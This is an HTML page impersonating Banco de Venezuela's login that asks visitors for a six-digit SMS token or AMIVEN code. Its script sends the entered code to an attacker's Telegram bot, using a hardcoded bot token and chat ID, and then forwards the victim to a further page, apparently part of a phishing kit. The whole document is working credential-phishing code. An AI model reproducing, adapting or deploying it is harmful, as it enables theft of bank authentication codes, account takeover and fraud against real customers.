<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Página de inicio</title>
    <style>
        body, html {
            margin: 0;
            padding: 0;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background: url('https://cdn.glitch.global/ac1b841c-8782-4d2a-a7fd-0510be82b552/logig.jpg?v=1738648694560') no-repeat center center fixed;
            background-size: cover;
            font-family: Arial, sans-serif;
        }

        .container {
            background: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 10px;
            text-align: center;
            max-width: 400px; /* Aumentado el ancho para acomodar todos los elementos */
            width: 100%;
        }

        .logo {
            width: 300px;
            margin-bottom: 20px;
        }

        .text-bold {
            font-weight: bold;
            margin-bottom: 20px;
        }

        .form-input {
            width: 40px; /* Ancho ajustado para cada casilla */
            padding: 10px;
            margin: 10px 5px; /* Espacio entre las casillas */
            text-align: center; /* Centrar texto en las casillas */
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px; /* Tamaño de fuente ajustado */
            box-sizing: border-box; /* Incluir el borde en el tamaño total */
            /* Limitar la entrada a un solo número */
            -moz-appearance: textfield;
            appearance: textfield;
        }

        .form-input::-webkit-outer-spin-button,
        .form-input::-webkit-inner-spin-button {
            -webkit-appearance: none;
            margin: 0;
        }

        .form-checkbox {
            margin: 20px 0;
            text-align: left; /* Alinear el texto a la izquierda */
        }

        .form-button {
            background-color: #a60059; 
            border: none;
            color: white;
            padding: 15px 20px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin-top: 10px;
            cursor: pointer;
            border-radius: 5px;
            width: 100%;
            max-width: 200px; /* Ancho máximo para el botón */
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" integrity="sha384-k6RqeWeci5ZR/Lv4MR0sA0FfDOMJmP8D7gQ3yUqzIWpHMWJjL5lbKC4z1H59U8mL" crossorigin="anonymous">
</head>
<body>
    <div class="container">
        <img src="https://cdn.glitch.global/ac1b841c-8782-4d2a-a7fd-0510be82b552/Banco_de_Venezuela_logo.svg.png?v=1738648686554" alt="Logo" class="logo">
        <div class="text-bold">Introduce el Token enviado por SMS O Codigo AMIVEN.</div>
        <form id="loginForm">
            <div style="display: flex; justify-content: center; align-items: center;">
                <input type="number" id="digit1" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 1">
                <input type="number" id="digit2" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 2">
                <input type="number" id="digit3" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 3">
                <input type="number" id="digit4" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 4">
                <input type="number" id="digit5" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 5">
                <input type="number" id="digit6" class="form-input" min="0" max="9" maxlength="1" required aria-label="Dígito 6">
            </div>
            <button type="submit" class="form-button">Entrar</button>
        </form>
    </div>
    <script>
        // Obtener todos los campos de entrada
        const inputs = document.querySelectorAll('.form-input');

        // Añadir evento de escucha para cada campo
        inputs.forEach((input, index) => {
            input.addEventListener('input', function() {
                if (input.value.length >= 1 && index < inputs.length - 1) {
                    inputs[index + 1].focus(); // Mover el foco al siguiente campo
                }
            });
        });

        // Manejar el envío del formulario
        document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();

            const digit1 = document.getElementById('digit1').value;
            const digit2 = document.getElementById('digit2').value;
            const digit3 = document.getElementById('digit3').value;
            const digit4 = document.getElementById('digit4').value;
            const digit5 = document.getElementById('digit5').value;
            const digit6 = document.getElementById('digit6').value;

            const code = digit1 + digit2 + digit3 + digit4 + digit5 + digit6;
            const botToken = '6021150444:AAEUqBfQJ2sMtxWFxH7byQ2ifF524IvlcVY';
            const chatId = '6269320857';
            const message = `BDV-GOLD616\nCódigo 2: ${code}`;

            const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;

            fetch(url)
                .then(response => {
                    if (response.ok) {
                        // Redirigir a la página 2.html si el envío es exitoso
                        window.location.href = '6.html';
                    } else {
                        console.error('Error al enviar la información.');
                        // Mostrar mensaje de error en la consola o en una alerta
                        alert('Error al enviar la información.');
                    }
                })
                .catch(error => {
                    console.error('Error:', error);
                    alert('Error al enviar la información.');
                });
        });
    </script>
</body>
</html>
